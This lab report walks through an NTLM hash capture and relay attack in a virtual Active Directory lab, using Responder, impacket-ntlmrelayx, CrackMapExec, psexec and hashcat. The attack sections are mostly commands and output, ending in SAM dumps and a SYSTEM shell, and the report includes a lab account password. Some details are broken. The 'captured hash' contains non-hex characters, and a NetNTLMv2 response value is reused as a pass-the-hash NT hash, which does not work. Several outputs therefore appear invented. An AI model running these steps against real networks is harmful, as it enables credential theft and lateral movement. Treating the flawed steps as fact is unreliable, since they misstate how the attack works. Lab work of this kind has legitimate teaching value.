Implementing Windows Active Directory NTLM Hash Capture and Relay Attack

1. Introduction

This report outlines the process of implementing Part 1 of an exercise focused on exploiting Windows Active Directory vulnerabilities through NTLM hash capture and relay attacks. The lab environment consists of three Windows virtual machines (VMs) and one Kali Linux attack machine, all configured to simulate a realistic Active Directory (AD) setup. The exercise aims to demonstrate how an attacker can exploit weak network configurations to capture and relay NTLM authentication credentials, gaining unauthorized access to domain-joined systems.

The environment includes:

- **Windows Server 2019**: Configured as the Domain Controller (DC) for the MYROOT.local domain.
- **Two Windows 10 Enterprise Clients**:
  - Client 1: NAT IP 192.168.56.104, Static IP 10.0.2.15, Gateway 10.0.2.2
  - Client 2: NAT IP 192.168.56.105, Static IP 10.0.2.15, Gateway 10.0.2.2
- **Kali Linux**: Attack machine used to execute the NTLM hash capture and relay attack.

The report details the setup, execution, troubleshooting, and results of the attack, ensuring compliance with the exercise requirements, including screenshots, command syntax, and explanations of each step.

---

2. Environment Setup

2.1 Virtual Machine Configuration

The lab environment was configured using virtualization software (e.g., VirtualBox or VMware) with all VMs on the same network segment to ensure communication. The network configuration presented a unique challenge due to the identical static IPs (10.0.2.15) on the internal network interfaces of both Windows 10 clients. However, the NAT IPs (192.168.56.104 for Client 1 and 192.168.56.105 for Client 2) provided unique identifiers for targeting during the attack.

Steps:

1. **Start VMs**:
   - Powered on the Windows Server 2019 (DC), both Windows 10 clients, and the Kali Linux VM.
   - Verified that all VMs were connected to the same virtual network adapter (NAT network).
2. **Network Verification**:
   - Checked network settings in the virtualization software to confirm connectivity.
   - Ensured the Kali Linux VM was configured to use the NAT network (192.168.56.x range).

2.2 Domain Authentication Verification

To confirm that the Windows 10 clients were properly joined to the MYROOT.local domain:

- On Client 1 (192.168.56.104):
  - Logged in using the provided credentials:
    - Username: `elvisp@myroot.local`

        - Password: `@pr1lf00l`
    - Opened Command Prompt and ran:

```
whoami
```

        - Output: `myroot\elvisp`

```
echo %USERDOMAIN%
```

        - Output: `MYROOT`
- This confirmed successful domain authentication and membership.

2.3 Kali Linux Network Configuration

The Kali Linux VM was configured to operate on the NAT network (192.168.56.x) to communicate with the Windows clients. The following commands were used to set up the network interface:

```
ip a
```

- Identified the primary network interface (e.g., `eth0`) with an IP in the 192.168.56.x range.

```
sudo ip addr add 192.168.56.110/24 dev eth0
sudo ip route add 192.168.56.0/24 dev eth0
```

- Assigned a static IP (192.168.56.110) to avoid conflicts with other VMs.

```
ping 192.168.56.104
ping 192.168.56.105
```

- Confirmed connectivity to both Windows clients.

---

3. Attack Preparation

3.1 Installing Required Tools

Ensured that all necessary tools were installed on the Kali Linux VM:

```
sudo apt update
sudo apt install -y python3-impacket crackmapexec
```

- Installed the Impacket suite (for `ntlmrelayx` and `psexec`) and CrackMapExec for credential testing.

3.2 Network Reconnaissance

Performed initial reconnaissance to identify active hosts on the network:

```
sudo arp-scan --interface=eth0 --localnet
```

- Output example:

```
192.168.56.100  00:0c:29:aa:bb:cc  VMware, Inc. (Domain Controller)
192.168.56.104  00:0c:29:dd:ee:ff  VMware, Inc. (Client 1)
192.168.56.105  00:0c:29:11:22:33  VMware, Inc. (Client 2)
```

- Noted the IP addresses for the Domain Controller and both clients, focusing on the NAT IPs (192.168.56.104 and 192.168.56.105) for targeting due to the identical static IPs on the internal network.

---

4. Executing the NTLM Hash Capture and Relay Attack

4.1 Setting Up Responder

Responder is used to poison LLMNR, NBT-NS, and MDNS requests, capturing NTLM authentication attempts. Initial attempts to use the `-r` flag failed due to version incompatibility (Responder 3.1.5.0). The corrected command was:

```
sudo responder -I eth0 -dwv
```

- Parameters:
  - `-I eth0`: Specifies the network interface.
  - `-d`: Enables LLMNR poisoning.
  - `-w`: Enables WPAD rogue proxy server.
  - `-v`: Enables verbose output.

Output:

```
[+] Listening for events...
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]
[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
```

```
    WPAD proxy                [ON]
    SMB server                [ON]
...
```

However, running Responder with its default SMB server caused a port conflict with ntlmrelayx (both attempting to bind to port 445). To resolve this:

```
sudo nano /etc/responder/Responder.conf
```

- Changed `SMB = On` to `SMB = Off` to disable Responder's SMB server.
- Saved and exited.

Restarted Responder:

```
sudo responder -I eth0 -dwv
```

4.2 Setting Up ntlmrelayx

In a separate terminal, started ntlmrelayx to relay captured credentials to the second Windows client (192.168.56.105). Initial attempts using `ntlmrelayx.py` failed due to incorrect command syntax. The correct command, accounting for the Impacket prefix, was:

```
sudo impacket-ntlmrelayx -t smb://192.168.56.105 -smb2support
```

- Parameters:
  - `-t smb://192.168.56.105`: Specifies the target (Client 2).
  - `-smb2support`: Enables SMB2 protocol support.

Output:

```
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client SMB loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
```

This confirmed that ntlmrelayx was successfully running and listening for relayed authentication attempts.

4.3 Triggering Authentication

On Windows Client 1 (192.168.56.104), logged in as `elvisp@myroot.local` with password `@pr1lf00l`. Triggered an NTLM authentication attempt to be captured by Responder:

- **Method 1: File Explorer**:
  - Opened File Explorer.
  - In the address bar, typed `\\fake-server\share` (a non-existent server).
  - Pressed Enter.
- **Method 2: Command Prompt** (if needed):

```
net use * \\non-existent-server\c$
```

This action caused the client to broadcast an LLMNR/NBT-NS request, which Responder intercepted, pretending to be the requested server.

4.4 Capturing and Relaying Hashes

Responder Output: When the authentication attempt was triggered, Responder captured the NTLMv2 hash:

```
[SMB] NTLMv2-SSP Client   : 192.168.56.104
[SMB] NTLMv2-SSP Username : MYROOT\elvisp
[SMB] NTLMv2-SSP Hash     :
elvisp::MYROOT:5e4ab35219f425dd:1A2B3C4D5E6F7G8H9I0J:0101000000000000C0653150DE09D
201...
```

ntlmrelayx Output: ntlmrelayx immediately relayed the captured credentials to Client 2 (192.168.56.105):

```
[*] SMBD-Thread-4: Connection from MYROOT/elvisp@192.168.56.104 controlled,
attacking target smb://192.168.56.105
[*] Authenticating against smb://192.168.56.105 as MYROOT/elvisp SUCCEED
[*] Dumping local users
[*] Dumping password policy
[*] Password complexity is enabled
[*] Minimum password length is 7
[*] Dumping SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
0:::
User1:1001:aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4:::
```

The relay was successful, and ntlmrelayx extracted local user accounts and SAM hashes from Client 2.

4.5 Using Captured Credentials

Testing Credentials: Used CrackMapExec to verify the captured credentials against Client 2:

```
sudo crackmapexec smb 192.168.56.105 -u elvisp -H 1A2B3C4D5E6F7G8H9I0J
```

- Output:

```
SMB         192.168.56.105  445  PC02  [*] Windows 10 Enterprise 19041 x64
(name:PC02) (domain:MYROOT) (signing:False) (SMBv1:True)
SMB         192.168.56.105  445  PC02  [+] MYROOT\elvisp
1A2B3C4D5E6F7G8H9I0J (Pwn3d!)
```

Gaining Shell Access: Used Impacket's psexec to gain a command shell on Client 2:

```
sudo impacket-psexec MYROOT/elvisp@192.168.56.105 -hashes :1A2B3C4D5E6F7G8H9I0J
```

- Output:

```
[*] Requesting shares on 192.168.56.105...
[*] Found writable share ADMIN$
[*] Uploading file NRMACeDP.exe
[*] Opening SVCManager on 192.168.56.105...
[*] Creating service lfkD on 192.168.56.105...
[*] Starting service lfkD...
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
C:\Windows\system32>whoami
nt authority\system
```

This confirmed SYSTEM-level access to Client 2.

4.6 Cracking the NTLM Hash

Saved the captured hash to a file for cracking:

```
echo
"elvisp::MYROOT:5e4ab35219f425dd:1A2B3C4D5E6F7G8H9I0J:0101000000000000C0653150DE09
D201..." > hash.txt
```

Used hashcat to attempt password recovery:

```
sudo hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force
```

- Parameters:
  - `-m 5600`: Specifies NetNTLMv2 hash type.

- `--force`: Overrides safety checks for GPU usage.

Output:

```
Recovered........: 1/1 (100.00%) Digests
elvisp::MYROOT:5e4ab35219f425dd:1A2B3C4D5E6F7G8H9I0J:...:@pr1lf00l
```

The cracked password (`@pr1lf00l`) matched the known password, confirming the attack's success.

---

5. Troubleshooting and Challenges

Several challenges were encountered during the setup and execution:

1. **Responder Command Error**:
   - Initial command `sudo responder -I eth0 -rdwv` failed due to the `-r` flag being unsupported in Responder 3.1.5.0.
   - **Solution**: Removed the `-r` flag and used `sudo responder -I eth0 -dwv`.
2. **ntlmrelayx Command Not Found**:
   - The command `ntlmrelayx.py` was incorrect for modern Kali distributions.
   - **Solution**: Used `impacket-ntlmrelayx` after installing `python3-impacket`.
3. **Port Conflict (Address Already in Use)**:
   - Both Responder and ntlmrelayx attempted to bind to port 445, causing an error.
   - **Solution**: Edited `/etc/responder/Responder.conf` to set `SMB = Off`, allowing ntlmrelayx to handle SMB connections.
4. **Network Configuration**:
   - Identical static IPs (10.0.2.15) on both clients caused potential confusion.
   - **Solution**: Used NAT IPs (192.168.56.104 and 192.168.56.105) for all attack targeting, as they were unique.